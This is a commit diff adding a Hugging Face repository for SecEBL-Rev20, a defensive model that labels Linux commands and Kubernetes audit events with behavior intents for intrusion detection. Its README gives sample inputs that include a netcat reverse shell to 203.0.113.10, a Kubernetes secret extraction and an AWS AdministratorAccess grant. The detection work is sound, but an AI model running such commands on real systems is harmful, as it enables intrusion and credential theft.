Duplicate from willchen0011/SecEBL

Co-authored-by: YUE CHEN <willchen0011@users.noreply.huggingface.co>

.gitattributes

@@ -0,0 +1,5 @@
+*.safetensors filter=lfs diff=lfs merge=lfs -text
+*.bin filter=lfs diff=lfs merge=lfs -text
+*.onnx filter=lfs diff=lfs merge=lfs -text
+*.joblib filter=lfs diff=lfs merge=lfs -text
+*.jsonl filter=lfs diff=lfs merge=lfs -text

1_Pooling/config.json

@@ -0,0 +1,10 @@
+{
+  "word_embedding_dimension": 768,
+  "pooling_mode_cls_token": true,
+  "pooling_mode_mean_tokens": false,
+  "pooling_mode_max_tokens": false,
+  "pooling_mode_mean_sqrt_len_tokens": false,
+  "pooling_mode_weightedmean_tokens": false,
+  "pooling_mode_lasttoken": false,
+  "include_prompt": true
+}

LICENSE

@@ -0,0 +1,201 @@
+Apache License
+Version 2.0, January 2004
+http://www.apache.org/licenses/
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+"License" shall mean the terms and conditions for use, reproduction,
+and distribution as defined by Sections 1 through 9 of this document.
+
+"Licensor" shall mean the copyright owner or entity authorized by
+the copyright owner that is granting the License.
+
+"Legal Entity" shall mean the union of the acting entity and all
+other entities that control, are controlled by, or are under common
+control with that entity. For the purposes of this definition,
+"control" means (i) the power, direct or indirect, to cause the
+direction or management of such entity, whether by contract or
+otherwise, or (ii) ownership of fifty percent (50%) or more of the
+outstanding shares, or (iii) beneficial ownership of such entity.
+
+"You" (or "Your") shall mean an individual or Legal Entity
+exercising permissions granted by this License.
+
+"Source" form shall mean the preferred form for making modifications,
+including but not limited to software source code, documentation
+source, and configuration files.
+
+"Object" form shall mean any form resulting from mechanical
+transformation or translation of a Source form, including but
+not limited to compiled object code, generated documentation,
+and conversions to other media types.
+
+"Work" shall mean the work of authorship, whether in Source or
+Object form, made available under the License, as indicated by a
+copyright notice that is included in or attached to the work
+(an example is provided in the Appendix below).
+
+"Derivative Works" shall mean any work, whether in Source or Object
+form, that is based on (or derived from) the Work and for which the
+editorial revisions, annotations, elaborations, or other modifications
+represent, as a whole, an original work of authorship. For the purposes
+of this License, Derivative Works shall not include works that remain
+separable from, or merely link (or bind by name) to the interfaces of,
+the Work and Derivative Works thereof.
+
+"Contribution" shall mean any work of authorship, including
+the original version of the Work and any modifications or additions
+to that Work or Derivative Works thereof, that is intentionally
+submitted to Licensor for inclusion in the Work by the copyright owner
+or by an individual or Legal Entity authorized to submit on behalf of
+the copyright owner. For the purposes of this definition, "submitted"
+means any form of electronic, verbal, or written communication sent
+to the Licensor or its representatives, including but not limited to
+communication on electronic mailing lists, source code control systems,
+and issue tracking systems that are managed by, or on behalf of, the
+Licensor for the purpose of discussing and improving the Work, but
+excluding communication that is conspicuously marked or otherwise
+designated in writing by the copyright owner as "Not a Contribution."
+
+"Contributor" shall mean Licensor and any individual or Legal Entity
+on behalf of whom a Contribution has been received by Licensor and
+subsequently incorporated within the Work.
+
+2. Grant of Copyright License. Subject to the terms and conditions of
+this License, each Contributor hereby grants to You a perpetual,
+worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+copyright license to reproduce, prepare Derivative Works of,
+publicly display, publicly perform, sublicense, and distribute the
+Work and such Derivative Works in Source or Object form.
+
+3. Grant of Patent License. Subject to the terms and conditions of
+this License, each Contributor hereby grants to You a perpetual,
+worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+(except as stated in this section) patent license to make, have made,
+use, offer to sell, sell, import, and otherwise transfer the Work,
+where such license applies only to those patent claims licensable
+by such Contributor that are necessarily infringed by their
+Contribution(s) alone or by combination of their Contribution(s)
+with the Work to which such Contribution(s) was submitted. If You
+institute patent litigation against any entity (including a
+cross-claim or counterclaim in a lawsuit) alleging that the Work
+or a Contribution incorporated within the Work constitutes direct
+or contributory patent infringement, then any patent licenses
+granted to You under this License for that Work shall terminate
+as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the
+Work or Derivative Works thereof in any medium, with or without
+modifications, and in Source or Object form, provided that You
+meet the following conditions:
+
+(a) You must give any other recipients of the Work or Derivative
+    Works a copy of this License; and
+
+(b) You must cause any modified files to carry prominent notices
+    stating that You changed the files; and
+
+(c) You must retain, in the Source form of any Derivative Works
+    that You distribute, all copyright, patent, trademark, and
+    attribution notices from the Source form of the Work,
+    excluding those notices that do not pertain to any part of
+    the Derivative Works; and
+
+(d) If the Work includes a "NOTICE" text file as part of its
+    distribution, then any Derivative Works that You distribute must
+    include a readable copy of the attribution notices contained
+    within such NOTICE file, excluding those notices that do not
+    pertain to any part of the Derivative Works, in at least one
+    of the following places: within a NOTICE text file distributed
+    as part of the Derivative Works; within the Source form or
+    documentation, if provided along with the Derivative Works; or,
+    within a display generated by the Derivative Works, if and
+    wherever such third-party notices normally appear. The contents
+    of the NOTICE file are for informational purposes only and
+    do not modify the License. You may add Your own attribution
+    notices within Derivative Works that You distribute, alongside
+    or as an addendum to the NOTICE text from the Work, provided
+    that such additional attribution notices cannot be construed
+    as modifying the License.
+
+You may add Your own copyright statement to Your modifications and
+may provide additional or different license terms and conditions
+for use, reproduction, or distribution of Your modifications, or
+for any such Derivative Works as a whole, provided Your use,
+reproduction, and distribution of the Work otherwise complies with
+the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise,
+any Contribution intentionally submitted for inclusion in the Work
+by You to the Licensor shall be under the terms and conditions of
+this License, without any additional terms or conditions.
+Notwithstanding the above, nothing herein shall supersede or modify
+the terms of any separate license agreement you may have executed
+with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade
+names, trademarks, service marks, or product names of the Licensor,
+except as required for reasonable and customary use in describing the
+origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or
+agreed to in writing, Licensor provides the Work (and each
+Contributor provides its Contributions) on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+implied, including, without limitation, any warranties or conditions
+of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+PARTICULAR PURPOSE. You are solely responsible for determining the
+appropriateness of using or redistributing the Work and assume any
+risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory,
+whether in tort (including negligence), contract, or otherwise,
+unless required by applicable law (such as deliberate and grossly
+negligent acts) or agreed to in writing, shall any Contributor be
+liable to You for damages, including any direct, indirect, special,
+incidental, or consequential damages of any character arising as a
+result of this License or out of the use or inability to use the
+Work (including but not limited to damages for loss of goodwill,
+work stoppage, computer failure or malfunction, or any and all
+other commercial damages or losses), even if such Contributor
+has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing
+the Work or Derivative Works thereof, You may choose to offer,
+and charge a fee for, acceptance of support, warranty, indemnity,
+or other liability obligations and/or rights consistent with this
+License. However, in accepting such obligations, You may act only
+on Your own behalf and on Your sole responsibility, not on behalf
+of any other Contributor, and only if You agree to indemnify,
+defend, and hold each Contributor harmless for any liability
+incurred by, or claims asserted against, such Contributor by reason
+of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply the Apache License to your work.
+
+To apply the Apache License to your work, attach the following
+boilerplate notice, with the fields enclosed by brackets "[]"
+replaced with your own identifying information. (Do not include
+the brackets!) The text should be enclosed in the appropriate
+comment syntax for the file format. We also recommend that a
+file or class name and description of purpose be included on the
+same "printed page" as the copyright notice for easier
+identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

NOTICE

@@ -0,0 +1,18 @@
+SecEBL-Rev20
+Copyright 2026 SecEBL contributors.
+
+This Hugging Face repository contains SecEBL-Rev20 model artifacts, schema
+metadata, public benchmark-subset examples, public documentation, and an
+experimental L2 artifact. These files are licensed under Apache License,
+Version 2.0. See LICENSE.
+
+SecEBL-Rev20 is based on Alibaba-NLP/gte-modernbert-base, which is licensed
+under Apache License, Version 2.0:
+https://huggingface.co/Alibaba-NLP/gte-modernbert-base
+
+Source code, schemas, public examples, documentation, and helper scripts in the
+companion GitHub repository are also licensed under Apache-2.0 unless a file
+explicitly states otherwise.
+
+The names SecEBL and SecEBL-Rev20 are not licensed as trademarks except for
+reasonable and customary attribution.

README.md

@@ -0,0 +1,447 @@
+---
+license: apache-2.0
+base_model: Alibaba-NLP/gte-modernbert-base
+library_name: sentence-transformers
+pipeline_tag: sentence-similarity
+tags:
+  - security
+  - intrusion-detection
+  - behavior-analytics
+  - intent-recognition
+  - linux
+  - kubernetes
+  - audit-log
+  - sentence-transformers
+---
+
+# SecEBL-Rev20
+
+**SecEBL** stands for **Security Event Behavior Labeler**.
+
+SecEBL-Rev20 is an intent-recognition model for security telemetry. It maps a
+Linux command line or normalized Kubernetes AuditLog event into ranked
+behavior-intent labels, so downstream detection can reason about what an actor
+is trying to do instead of only matching fixed strings, allowlists, blacklists,
+or opaque risk scores.
+
+Project repository: [github.com/EBWi11/SecEBL](https://github.com/EBWi11/SecEBL)
+
+## At A Glance
+
+| Area | Current release summary |
+| --- | --- |
+| Stable public API | L1 behavior-intent labeling with ranked `top_labels`. |
+| Behavior vocabulary | 361 Rev20 behavior-intent tags across 12 security behavior groups. |
+| Training scale | 86,285 internal corpus rows, 82,895 usable training observations, and 118,858 effective command/tag training pairs. |
+| Corpus breadth | Linux commands plus normalized Kubernetes AuditLog events, covering roughly 2,700 distinct Linux first-token/tool forms and common security/operations tooling. |
+| Benchmark scale | 12,594-row internal Linux command benchmark covering all 361 behavior tags, 663 internal Linux sessions, and a 6,286,568-row / 102,117-session pressure stream. |
+| L1 accuracy | 98.49% top5 any-hit and 96.44% micro recall@5 on the internal Linux command benchmark; 100.00% top5 coverage on the K8s evaluation set. |
+| Inference performance | RTX 5090 spot-check: mean 5,308.72 unique cmdlines/s with FP16 + SDPA; exact raw-event cache lookup measured separately at about 1.8M rows/s. |
+| Training setup | `Alibaba-NLP/gte-modernbert-base`, MNRL with hard-negative-aware batches, RTX 5090 32GB, 128 full-pass epochs, batch size 112, about 16.2 hours. |
+
+The public examples include a reviewed, publicly releasable subset of the
+internal Linux final benchmark plus normalized Kubernetes AuditLog examples:
+10,520 Linux rows across 531 sessions and 144 K8s rows across 46 sessions. They
+exist so users can run the model locally and inspect outputs without access to
+private telemetry.
+The full training corpora, full internal benchmarks, private pressure-stream
+rows, and private run logs are not redistributed because parts of them contain
+real telemetry or real operational context.
+
+## First-Time User Path
+
+Use the companion GitHub repository for the runnable code and this Hugging Face
+repository for model artifacts:
+
+```bash
+git clone https://github.com/EBWi11/SecEBL.git
+cd SecEBL
+
+git lfs install
+git clone https://huggingface.co/willchen0011/SecEBL model_artifacts
+
+pip install -e .
+scripts/run_examples.sh
+```
+
+After the script finishes, inspect:
+
+```text
+runs/examples/linux_l1/predictions.jsonl
+runs/examples/l2/example_linux_session_results.json
+```
+
+L1 is the stable behavior-labeling API. It outputs ranked behavior evidence,
+not an intrusion verdict. L2 is optional and experimental; it runs only when an
+L2 artifact such as `model_artifacts/l2_artifacts/logreg.joblib` is available.
+
+## What This Repository Contains
+
+This Hugging Face repository is the model artifact bundle.
+
+| Path | Purpose |
+| --- | --- |
+| `model.safetensors`, tokenizer/config files | SentenceTransformers-compatible SecEBL-Rev20 embedding model. |
+| `semantic_texts.jsonl` | Rev20 semantic label texts used by the L1 retrieval path. |
+| `schema/tags_schema_rev20.json` | Canonical Rev20 behavior vocabulary, 361 tags across 12 groups. |
+| `examples/linux/` | Public subset of the internal Linux final benchmark and matching Rev20 labels. |
+| `examples/k8s/` | Public normalized Kubernetes AuditLog examples and matching Rev20 labels. |
+| `examples/manifest.json` | Public example subset counts and distribution. |
+| `rev20_tag_rfc.md` | Rev20 behavior-tag labeling RFC and boundary examples. |
+| `l2_artifacts/logreg.joblib` | Experimental L2 logistic-regression session scorer. |
+| `l2_artifacts/tag_risk_policy.rev20.json` | Matching L2 feature policy. Its tag-selection settings are internal to L2 feature extraction. |
+| `l2_artifacts/train_summary.json` | Public aggregate L2 training/evaluation summary with no raw rows or real session identifiers. |
+| `LICENSE`, `NOTICE` | Model license and attribution notices. |
+
+This repository does not include the runnable helper scripts. Use
+[EBWi11/SecEBL](https://github.com/EBWi11/SecEBL) for the Python package and
+one-command test script. The same public benchmark-subset examples are included
+here for convenience.
+
+## Output Shape
+
+L1 predictions expose ranked `top_labels`:
+
+```json
+{
+  "observation_id": "event:0",
+  "command": "nc -e /bin/sh 203.0.113.10 4444",
+  "top_labels": [
+    {
+      "label_id": "spawn_reverse_shell",
+      "score": 0.811,
+      "axis": "execution_and_process"
+    },
+    {
+      "label_id": "connect_external_service",
+      "score": 0.488,
+      "axis": "network"
+    }
+  ]
+}
+```
+
+L1 does not emit `behavior_tags` and does not apply a user-facing tag-selection
+threshold. `behavior_tags[]` is the field used by training and evaluation label
+files. Runtime prediction output is ranked `top_labels`.
+
+## Why Intent Labels Matter
+
+Traditional IDS pipelines often depend on signatures, rules, allowlists,
+blacklists, and low-explainability tabular ML. Those tools still matter, but
+they can struggle when legitimate tools are used in suspicious ways, when tool
+syntax drifts quickly, or when the same behavior appears in different telemetry
+formats.
+
+SecEBL adds an intermediate representation:
+
+```text
+raw security event
+  -> L1 behavior-intent recognition
+  -> L2 session reasoning or another downstream detector
+  -> alert / review / policy
+```
+
+L1 intentionally does not decide that a single event is an intrusion. It
+produces explainable behavior evidence such as `read_credential_material`,
+`execute_remote_command`, `create_scheduled_task`, `grant_cluster_privilege`,
+or `query_service_health`.
+
+This is useful for:
+
+- LOLT / living-off-the-land behavior where the tool is legitimate but the
+  behavior may be suspicious in context.
+- Rule-writing lag, where new tool syntax appears faster than signatures can be
+  maintained.
+- Multi-platform telemetry, where Linux commands, Kubernetes audit events, and
+  future telemetry can share a behavior vocabulary.
+- Explainable detection, where an alert should be tied to explicit behavior
+  labels rather than only an opaque score.
+
+## Data And Vocabulary
+
+Rev20 is a flat behavior-tag schema.
+
+| Item | Count |
+| --- | ---: |
+| Top-level behavior groups | 12 |
+| Behavior tags | 361 |
+
+Schema groups:
+
+| Group | Tags |
+| --- | ---: |
+| `observation_and_discovery` | 51 |
+| `configuration_and_log_modification` | 12 |
+| `filesystem_and_data` | 33 |
+| `execution_and_process` | 28 |
+| `network` | 51 |
+| `identity_auth_and_secrets` | 31 |
+| `persistence_services_and_storage` | 27 |
+| `kernel_memory_and_tracing` | 14 |
+| `package_build_and_source` | 19 |
+| `database_and_infrastructure_services` | 33 |
+| `containers_and_cloud_native` | 34 |
+| `cloud_control_plane` | 28 |
+
+The release baseline was trained from internal Rev20 corpora:
+
+| Corpus | Rows | Unique behavior tags | Notes |
+| --- | ---: | ---: | --- |
+| Linux command corpus | 85,277 | 361 | Mixed generated, reviewed, and manually expanded command examples. |
+| Kubernetes AuditLog corpus | 1,008 | 40 | Manually authored normalized K8s audit events. |
+
+The Linux corpus covers roughly 2,700 distinct first-token/tool forms by a
+conservative executable-name estimate. Common families include shell utilities,
+network tools, package/build tools, cloud CLIs, IaC tools, container tooling,
+databases, secret stores, and Kubernetes tooling.
+
+## Training Details
+
+The raw training corpora are not redistributed, but the following details are
+documented so readers can understand the model scale and method.
+
+| Item | Value |
+| --- | --- |
+| Base model | `Alibaba-NLP/gte-modernbert-base` |
+| Training objective | `MultipleNegativesRankingLoss` with hard-negative-aware batches |
+| Training hardware | NVIDIA GeForce RTX 5090, 32GB VRAM, `cuda:0` |
+| Epochs | 128 full-pass epochs |
+| Batch size | 112 |
+| Precision | `fp32` |
+| Steps | 1,062 steps per epoch; 135,936 total optimizer steps |
+| Runtime | 58,291 seconds, about 16.2 hours |
+| Sequence length | 160 tokens |
+| Optimizer schedule | learning rate `2e-5`, warmup ratio `0.06`, 8,156 warmup steps, weight decay `0.01` |
+
+Training data scale:
+
+| Training artifact | Count | Notes |
+| --- | ---: | --- |
+| Combined corpus rows | 86,285 | 85,277 Linux command rows plus 1,008 K8s AuditLog rows. |
+| Non-empty training observations | 82,895 | Rows with usable behavior labels after skipping 3,390 abstain rows. |
+| Base command-tag pairs | 117,092 | Positive command/tag pairs before boundary upsampling. |
+| Effective positive pairs | 118,858 | Final pair count after targeted boundary upsampling. |
+| Behavior labels | 361 | Full Rev20 behavior vocabulary used on the label side. |
+
+The Linux corpus is intentionally mixed rather than a single synthetic source.
+The largest source slices are roughly 36.9k generated rows, 28.5k manually
+reviewed rows, 4.0k benchmark-prune/migration rows, 3.6k common-difference gap
+rows, 2.7k reviewed generated rows, 2.6k baseline manual rows, and 2.3k attack
+batch rows, plus smaller targeted boundary, miss-review, public-attack, and
+high-miss batches.
+
+Token lengths are short enough for a compact encoder. Across the final pair set,
+command-side text is p50 32 tokens, p90 55, p95 68, and p99 113; fewer than
+0.3% of examples exceed the 160-token training limit. Label-side semantic texts
+are p50 40 tokens and p95 62.
+
+Hard negatives were designed in two layers:
+
+- Schema-level negatives: the dataset builder used `schema_hard`, with a
+  16-item hard-negative pool and up to 8 negatives per positive before MNRL
+  batching. These negatives come from semantically nearby Rev20 tags, so the
+  model is forced to separate labels such as read-vs-search, inspect-vs-modify,
+  local-vs-remote execution, and similar tool-boundary cases.
+- Batch-level negatives: the training loader used hard-negative-aware MNRL
+  batches. The final run used config
+  `rev20_conservative_20260620_ep96_miss_v11`, covering 74 difficult labels and
+  placing 2 hard-negative labels near each anchor where possible.
+- Boundary upsampling: 1,766 boundary-sensitive pairs were duplicated once,
+  producing 1,766 extra training exposures. These rows target recurring failure
+  modes such as grep/read ambiguity, wrapper commands, tool-specific boundaries,
+  no-hit review cases, and post-evaluation miss-review batches.
+
+## Public Benchmark Subset
+
+This Hugging Face repository includes the same public benchmark examples as the
+companion GitHub repository: the Linux benchmark subset under `examples/linux/`
+and normalized Kubernetes AuditLog examples under `examples/k8s/`.
+
+| Public artifact | Rows | Sessions | Notes |
+| --- | ---: | ---: | --- |
+| `examples/linux/example_sessions.jsonl` | 10,520 | 531 | Publicly releasable subset of the internal Linux final benchmark; 2,934 normal-operation rows and 7,586 intrusion rows. |
+| `examples/linux/example_gold.rev20.jsonl` | 10,520 | 531 | Matching Rev20 behavior labels; 10,019 labeled rows, 14,807 behavior-label instances, and 349 unique behavior tags. |
+| `examples/k8s/example_sessions.jsonl` | 144 | 46 | Public normalized Kubernetes AuditLog examples; 72 normal-operation rows and 72 intrusion rows. |
+| `examples/k8s/example_gold.rev20.jsonl` | 144 | 46 | Matching Rev20 behavior labels; 144 labeled rows, 163 behavior-label instances, and 27 unique behavior tags. |
+
+Session-level labels use English enums: `normal_operation` and `intrusion`.
+The full internal Linux benchmark remains larger: 12,594 rows, 663 sessions,
+and complete 361-tag coverage.
+
+## Evaluation Snapshot
+
+The full internal benchmark data is not public. The aggregate size,
+distribution, and metrics are public so users can understand what the headline
+numbers mean.
+
+Evaluation scale:
+
+| Dataset | Rows | Rows with labels | Behavior-tag instances | Unique behavior tags |
+| --- | ---: | ---: | ---: | ---: |
+| Linux internal benchmark | 12,594 | 11,889 | 17,287 | 361 / 361 |
+| K8s evaluation set | 144 | 144 | 163 | 27 / 361 |
+| Combined | 12,738 | 12,033 | 17,450 | 361 / 361 |
+
+Retrieval quality:
+
+| Dataset | Dynamic exact | Top5 any-hit | Top5 all-covered | Micro recall@5 |
+| --- | ---: | ---: | ---: | ---: |
+| Linux internal benchmark | 87.32% | 98.49% | 95.44% | 96.44% |
+| K8s evaluation set | 99.31% | 100.00% | 100.00% | 100.00% |
+| Combined | 87.47% | 98.50% | 95.50% | 96.47% |
+
+The Linux benchmark covers the complete 361-tag Rev20 vocabulary and includes
+complex multi-tag command rows. The K8s result should be read as a small-domain
+sanity result rather than broad Kubernetes coverage because the current K8s
+corpus is much smaller than the Linux corpus.
+
+Internal Linux benchmark tag cardinality:
+
+| Tags per row | Rows |
+| --- | ---: |
+| 0 | 705 |
+| 1 | 8,829 |
+| 2 | 1,567 |
+| 3 | 901 |
+| 4 | 402 |
+| 5 | 139 |
+| 6+ | 51 |
+
+Top internal Linux benchmark tags:
+
+| Tag | Count |
+| --- | ---: |
+| `stage_temporary_path` | 987 |
+| `inspect_network_state` | 801 |
+| `stage_hidden_path` | 655 |
+| `inspect_current_identity` | 578 |
+| `read_credential_material` | 551 |
+| `inspect_system_state` | 481 |
+| `inspect_infrastructure_service` | 390 |
+| `query_dns_records` | 372 |
+| `enumerate_filesystem` | 365 |
+| `search_credentials` | 315 |
+
+## Example Outputs
+
+These examples show the user-facing L1 output style. Scores are cosine/retrieval
+scores after the release prompt profile. The public helper scripts save top
+labels in `predictions.jsonl`.
+
+| Event | Top 3 L1 tags | Note |
+| --- | --- | --- |
+| `nc -e /bin/sh 203.0.113.10 4444` | <code>spawn_reverse_shell</code> 0.811<br><code>connect_external_service</code> 0.488<br><code>spawn_bind_shell</code> 0.451 | `-e` is recognized as reverse-shell execution. |
+| `nc -v 203.0.113.10 443` | <code>connect_external_service</code> 0.732<br><code>spawn_reverse_shell</code> 0.503<br><code>create_reverse_tunnel</code> 0.412 | Connection intent ranks above shell-spawn intent. |
+| `cat /root/install.log` | <code>read_business_log</code> 0.641<br><code>read_system_log</code> 0.431<br><code>read_workload_logs</code> 0.385 | Log-read semantics dominate. |
+| `cat /root/install.conf` | <code>read_infrastructure_config</code> 0.620<br><code>read_system_config</code> 0.612<br><code>read_kernel_parameter</code> 0.336 | Config-read semantics dominate. |
+| `kubectl -n prod get secret payment-api-token -o jsonpath={.data.token} \| base64 -d` | <code>read_cluster_secret</code> 0.730<br><code>decode_data</code> 0.716<br><code>read_credential_material</code> 0.363 | K8s secret extraction and decoding. |
+| `aws iam attach-user-policy --user-name temp --policy-arn arn:aws:iam::aws:policy/AdministratorAccess` | <code>grant_cloud_privilege</code> 0.838<br><code>modify_cloud_identity_policy</code> 0.535<br><code>modify_cloud_identity</code> 0.459 | Cloud privilege escalation semantics. |
+| `curl -fsS http://127.0.0.1:8080/healthz` | <code>query_service_health</code> 0.840<br><code>inspect_local_kubernetes_cluster</code> 0.459<br><code>inspect_container_runtime</code> 0.383 | Local service health check. |
+
+## Runtime Performance
+
+SecEBL-Rev20 is a SentenceTransformers-style embedding retriever over 361 Rev20
+tag definitions. The serving path embeds the event, embeds or loads tag
+definition embeddings, then ranks tags by similarity.
+
+Current single-card CUDA recommendation:
+
+| Setting | Value |
+| --- | --- |
+| Precision | FP16 |
+| Attention | SDPA |
+| `max_seq_length` | 160 |
+| Batch size | 224 default; 384 was slightly faster in one RTX 5090 sweep but not enough to replace the stable default |
+| Sorting | `sort_by=char` |
+| Padding | dynamic, no forced pad alignment |
+| Output path | GPU tensor output plus GPU top-k |
+
+Measured on an NVIDIA GeForce RTX 5090 32GB spot-check:
+
+| Mode | Throughput |
+| --- | ---: |
+| Recommended no-cache unique inference, `bs224` | mean 5,308.72 unique cmdlines/s |
+| Recommended no-cache latency, `bs224` | about 0.1884 ms per unique cmdline |
+| `bs224` repeat range | 5,025.47 - 5,433.78 unique cmdlines/s |
+| Best quick-sweep point, `bs384` | 5,378.45 unique cmdlines/s |
+
+Exact raw-event cache lookup was measured separately at mean 1,817,462.76
+rows/s. Cache hits reuse saved L1 top-k results and do not run model inference.
+
+## L2 Artifact
+
+This repository includes an experimental fitted L2 session scorer so the
+companion GitHub `scripts/run_examples.sh` can run the public Linux and K8s L1
+examples, plus Linux example-session scoring, when this model directory is used
+as `MODEL_DIR`.
+
+In this release, a **session** is a sequence of events grouped by `session_id`.
+L1 labels each event independently. L2 scores the whole session by aggregating
+cached L1 ranked tags, retrieval scores, tag diversity, behavior transitions,
+and routine-operation context. The L2 output is a session-level verdict such as
+`intrusion` or `normal_operation`, not a replacement for per-command behavior
+tags.
+
+For compatibility with the released L2 artifact, L2 derives its session
+features from cached L1 `top_labels` using an internal selected-tag feature
+path. In plain terms, L2 filters the cached ranked labels inside its own feature
+builder before session scoring. This does not change L1 prediction output:
+users still receive ranked `top_labels`, not a selected `behavior_tags` field.
+
+Runtime L2 does not use raw command text, user names, host names, or session ids
+as scoring features. Session ids may appear in private data-prep workflows for
+label assignment, but they are not runtime allow/deny lists.
+
+Internal L2 summary:
+
+| Check | Result |
+| --- | ---: |
+| Withheld Linux session benchmark | 663 sessions, 365 TP, 298 TN, 0 FP, 0 FN |
+| 7M pressure-stream fit-check | 6,286,568 rows, 102,117 sessions, 61 alert sessions |
+| OOF validation | 5,747 sessions, 99.39% accuracy, 96.44% attack precision, 95.31% attack recall |
+
+The 7M pressure-stream result was measured on real background telemetry plus
+embedded synthetic attack sessions. The underlying rows and real session
+identifiers are not redistributed. The included L2 artifact is a
+research/reproducibility component, not a general production IDS claim.
+
+## Direct SentenceTransformers Loading
+
+You can load the embedding model directly:
+
+```python
+from sentence_transformers import SentenceTransformer
+
+model = SentenceTransformer("willchen0011/SecEBL")
+```
+
+Direct loading gives you the encoder only. SecEBL is a retrieval-style labeler:
+encode the event, encode or load the Rev20 semantic label texts from
+`semantic_texts.jsonl`, rank labels by cosine similarity, and save the top-k
+labels. For normal use, prefer the companion GitHub helpers because they keep
+the prompt profile, semantic text loading, top-k output format, and optional L2
+feature path aligned with this release.
+
+## Intended Use
+
+- Research and evaluation of security-event behavior labeling.
+- Internal security detection, investigation, and triage for systems an
+  organization owns, operates, administers, or is explicitly authorized to
+  defend.
+- Building session-level risk scoring over SecEBL behavior-label streams.
+
+## Out Of Scope
+
+- Standalone verdicting on a single event.
+- Authorization or policy-compliance decisions without human validation.
+- Monitoring systems you are not authorized to defend.
+
+## License
+
+This Hugging Face repository is released under **Apache License 2.0**.
+
+The base model is `Alibaba-NLP/gte-modernbert-base`, which is also Apache-2.0.
+Source code, schemas, public examples, public documentation, helper scripts,
+model artifacts, and the experimental L2 artifact are Apache-2.0 unless a file
+explicitly states otherwise.

config.json

@@ -0,0 +1,45 @@
+{
+  "architectures": [
+    "ModernBertModel"
+  ],
+  "attention_bias": false,
+  "attention_dropout": 0.0,
+  "bos_token_id": 50281,
+  "classifier_activation": "gelu",
+  "classifier_bias": false,
+  "classifier_dropout": 0.0,
+  "classifier_pooling": "mean",
+  "cls_token_id": 50281,
+  "decoder_bias": true,
+  "deterministic_flash_attn": false,
+  "dtype": "float32",
+  "embedding_dropout": 0.0,
+  "eos_token_id": 50282,
+  "global_attn_every_n_layers": 3,
+  "global_rope_theta": 160000.0,
+  "gradient_checkpointing": false,
+  "hidden_activation": "gelu",
+  "hidden_size": 768,
+  "initializer_cutoff_factor": 2.0,
+  "initializer_range": 0.02,
+  "intermediate_size": 1152,
+  "layer_norm_eps": 1e-05,
+  "local_attention": 128,
+  "local_rope_theta": 10000.0,
+  "max_position_embeddings": 8192,
+  "mlp_bias": false,
+  "mlp_dropout": 0.0,
+  "model_type": "modernbert",
+  "norm_bias": false,
+  "norm_eps": 1e-05,
+  "num_attention_heads": 12,
+  "num_hidden_layers": 22,
+  "pad_token_id": 50283,
+  "position_embedding_type": "absolute",
+  "repad_logits_with_grad": false,
+  "sep_token_id": 50282,
+  "sparse_pred_ignore_index": -100,
+  "sparse_prediction": false,
+  "transformers_version": "4.57.6",
+  "vocab_size": 50368
+}

config_sentence_transformers.json

@@ -0,0 +1,10 @@
+{
+  "__version__": {
+    "sentence_transformers": "3.4.1",
+    "transformers": "4.57.6",
+    "pytorch": "2.9.0+cu130"
+  },
+  "prompts": {},
+  "default_prompt_name": null,
+  "similarity_fn_name": "cosine"
+}

examples/README.md

@@ -0,0 +1,24 @@
+# SecEBL Public Final Benchmark Examples
+
+This directory contains publicly releasable example data for verifying the
+release code path: a subset of the internal Linux final benchmark plus
+normalized Kubernetes AuditLog examples.
+
+**The full internal benchmark, training corpora, private pressure-stream rows,
+and removed sensitive benchmark sessions are not distributed in this GitHub
+repository.**
+
+The `*_gold.rev20.jsonl` filenames are kept for compatibility. In this release,
+they are the expected Rev20 behavior-tag labels for this public benchmark
+subset.
+
+- `linux/example_sessions.jsonl`: 10,520 Linux command-session rows from 531
+  public subset sessions.
+- `linux/example_gold.rev20.jsonl`: matching Rev20 behavior tags for the same
+  10,520 rows.
+- `k8s/example_sessions.jsonl`: 144 normalized Kubernetes AuditLog rows across
+  46 sessions.
+- `k8s/example_gold.rev20.jsonl`: matching Rev20 behavior tags for the same 144
+  K8s rows, with 163 behavior-label instances and 27 unique behavior tags.
+
+Session-level labels use English enums: `normal_operation` and `intrusion`.

examples/k8s/example_gold.rev20.jsonl

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:fdf777b5fd1e7e6d4bd85276ce0125ec4f7462d849ac78deea75c73000b16cd8
+size 99593

examples/k8s/example_sessions.jsonl

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:8913939e98a9d7f09a6eab49a32dd914f5df6e399b3c072e917b489db89a65c2
+size 60154

examples/linux/example_gold.rev20.jsonl

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:c33ddca9a70f4b7ccaca3f3eef69fa3a6e35bc0788ba70853c115aaf62a18bf8
+size 7428269

examples/linux/example_sessions.jsonl

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:286315f744ba0fe571ed419f380c38a8fdf83af8b629ed35aa5603085a5f1290
+size 1880555

examples/manifest.json

@@ -0,0 +1,32 @@
+{
+  "k8s": {
